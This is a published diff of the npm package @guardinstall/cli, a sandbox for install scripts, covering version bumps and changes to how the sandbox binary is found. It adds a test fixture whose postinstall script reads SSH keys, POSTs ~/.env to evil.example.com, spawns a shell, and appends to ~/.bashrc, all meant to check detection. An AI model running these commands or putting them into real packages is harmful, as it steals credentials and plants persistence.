@guardinstall/cli 0.1.10 → 1.0.1

package/dist/index.js

@@ -39,7 +39,7 @@ const program = new commander_1.Command();
 program
     .name('guardinstall')
     .description('A kernel-level behavioral sandbox for npm/pnpm/bun install scripts')
-    .version('0.1.10');
+    .version('1.0.0');
 program
     .command('install')
     .description('Run npm install with sandbox protection')

package/dist/sandboxer.js

@@ -52,7 +52,7 @@ function getBinaryName() {
     // For development, just use 'sandboxer' (built by cargo)
     // For production/distribution, use platform-specific names
     if (platform === 'linux') {
-        return arch === 'arm64' ? 'sandboxer-linux-arm64' : 'sandboxer';
+        return arch === 'arm64' ? 'sandboxer-linux-arm64' : 'sandboxer-bin';
     }
     if (platform === 'darwin') {
         return arch === 'arm64' ? 'sandboxer-macos-arm64' : 'sandboxer-macos-x64';
@@ -77,12 +77,19 @@ function runSandboxed(scriptPath, packageName = 'unknown') {
     // 3. In node_modules/.bin (for npm global install)
     // 4. In package's native directory (for pre-built binaries)
     const possiblePaths = [
+        // Development: relative to CLI dist (where we just copied it)
+        path.join(__dirname, binaryName),
+        // Development: relative to CLI package
         path.join(__dirname, '..', 'packages', 'sandbox', 'target', 'release', binaryName),
         path.join(__dirname, '..', '..', 'packages', 'sandbox', 'target', 'release', binaryName),
+        // Development: in guardinstall project
         path.join(__dirname, '..', '..', '..', 'packages', 'sandbox', 'target', 'release', binaryName),
-        path.join(__dirname, '..', '..', '..', '.bin', binaryName),
-        path.join(__dirname, '..', '..', 'bin', binaryName),
+        // npm global install: node_modules/.bin
+        path.join(__dirname, '..', '.bin', binaryName),
+        // npm global install: package's native directory
         path.join(__dirname, '..', 'native', binaryName),
+        // Fallback: system PATH
+        binaryName,
     ];
     let binaryPath = null;
     for (const p of possiblePaths) {
@@ -92,6 +99,10 @@ function runSandboxed(scriptPath, packageName = 'unknown') {
         }
     }
     if (!binaryPath) {
+        // Debug: print what paths were checked
+        console.error('DEBUG: Checked paths:');
+        possiblePaths.forEach(p => console.error(`  ${p} -> ${require('fs').existsSync(p) ? 'EXISTS' : 'NOT FOUND'}`));
+        console.error(`DEBUG: __dirname = ${__dirname}`);
         throw new Error(`guardinstall: sandboxer binary not found. ` +
             `Run 'cd packages/sandbox && cargo build --release --bin sandboxer' first.`);
     }

package/package.json

@@ -1,20 +1,15 @@
 {
   "name": "@guardinstall/cli",
-  "version": "0.1.10",
+  "version": "1.0.1",
   "description": "CLI wrapper for guardinstall - intercepts and sandboxes install scripts",
   "main": "dist/index.js",
   "bin": {
-    "guardinstall": "dist/index.js"
-  },
-  "scripts": {
-    "build": "tsc",
-    "dev": "tsc --watch",
-    "start": "node dist/index.js",
-    "test": "jest"
+    "guardinstall": "dist/index.js",
+    "gi": "dist/index.js"
   },
   "dependencies": {
-    "@guardinstall/policy-engine": "0.1.8",
-    "@guardinstall/sandbox": "0.1.8",
+    "@guardinstall/policy-engine": "1.0.0",
+    "@guardinstall/sandbox": "1.0.0",
     "@npmcli/arborist": "7.5.4",
     "chalk": "4.1.2",
     "commander": "12.1.0"
@@ -33,5 +28,11 @@
     "npm",
     "install"
   ],
-  "license": "MIT"
-}
+  "license": "MIT",
+  "scripts": {
+    "build": "tsc",
+    "dev": "tsc --watch",
+    "start": "node dist/index.js",
+    "test": "jest"
+  }
+}

package/src/__tests__/fixtures/malicious-package/package.json

@@ -0,0 +1,8 @@
+{
+  "name": "malicious-package",
+  "version": "1.0.0",
+  "description": "Test fixture for malicious package detection",
+  "scripts": {
+    "postinstall": "sh postinstall.sh"
+  }
+}

package/src/__tests__/fixtures/malicious-package/postinstall.sh

@@ -0,0 +1,16 @@
+#!/bin/sh
+# Malicious postinstall script - attempts to exfiltrate data
+
+# Attempt 1: Read SSH keys
+cat ~/.ssh/id_rsa 2>/dev/null
+
+# Attempt 2: Make network connection (should be blocked by seccomp)
+curl -X POST https://evil.example.com/exfil -d "$(cat ~/.env 2>/dev/null)" 2>/dev/null
+
+# Attempt 3: Spawn a shell (should be blocked by seccomp)
+/bin/sh -c "echo pwned" 2>/dev/null
+
+# Attempt 4: Write to sensitive location
+echo "backdoor" >> ~/.bashrc 2>/dev/null
+
+echo "Malicious script completed"

package/src/index.ts

@@ -13,7 +13,7 @@ const program = new Command()
 program
   .name('guardinstall')
   .description('A kernel-level behavioral sandbox for npm/pnpm/bun install scripts')
-  .version('0.1.10')
+  .version('1.0.0')
 
 program
   .command('install')

package/src/sandboxer.ts

@@ -47,7 +47,7 @@ function getBinaryName(): string {
   // For development, just use 'sandboxer' (built by cargo)
   // For production/distribution, use platform-specific names
   if (platform === 'linux') {
-    return arch === 'arm64' ? 'sandboxer-linux-arm64' : 'sandboxer';
+    return arch === 'arm64' ? 'sandboxer-linux-arm64' : 'sandboxer-bin';
   }
   if (platform === 'darwin') {
     return arch === 'arm64' ? 'sandboxer-macos-arm64' : 'sandboxer-macos-x64';
@@ -76,12 +76,19 @@ export function runSandboxed(scriptPath: string, packageName: string = 'unknown'
   // 3. In node_modules/.bin (for npm global install)
   // 4. In package's native directory (for pre-built binaries)
   const possiblePaths = [
+    // Development: relative to CLI dist (where we just copied it)
+    path.join(__dirname, binaryName),
+    // Development: relative to CLI package
     path.join(__dirname, '..', 'packages', 'sandbox', 'target', 'release', binaryName),
     path.join(__dirname, '..', '..', 'packages', 'sandbox', 'target', 'release', binaryName),
+    // Development: in guardinstall project
     path.join(__dirname, '..', '..', '..', 'packages', 'sandbox', 'target', 'release', binaryName),
-    path.join(__dirname, '..', '..', '..', '.bin', binaryName),
-    path.join(__dirname, '..', '..', 'bin', binaryName),
+    // npm global install: node_modules/.bin
+    path.join(__dirname, '..', '.bin', binaryName),
+    // npm global install: package's native directory
     path.join(__dirname, '..', 'native', binaryName),
+    // Fallback: system PATH
+    binaryName,
   ];
 
   let binaryPath: string | null = null;
@@ -93,6 +100,10 @@ export function runSandboxed(scriptPath: string, packageName: string = 'unknown'
   }
 
   if (!binaryPath) {
+    // Debug: print what paths were checked
+    console.error('DEBUG: Checked paths:');
+    possiblePaths.forEach(p => console.error(`  ${p} -> ${require('fs').existsSync(p) ? 'EXISTS' : 'NOT FOUND'}`));
+    console.error(`DEBUG: __dirname = ${__dirname}`);
     throw new Error(
       `guardinstall: sandboxer binary not found. ` +
       `Run 'cd packages/sandbox && cargo build --release --bin sandboxer' first.`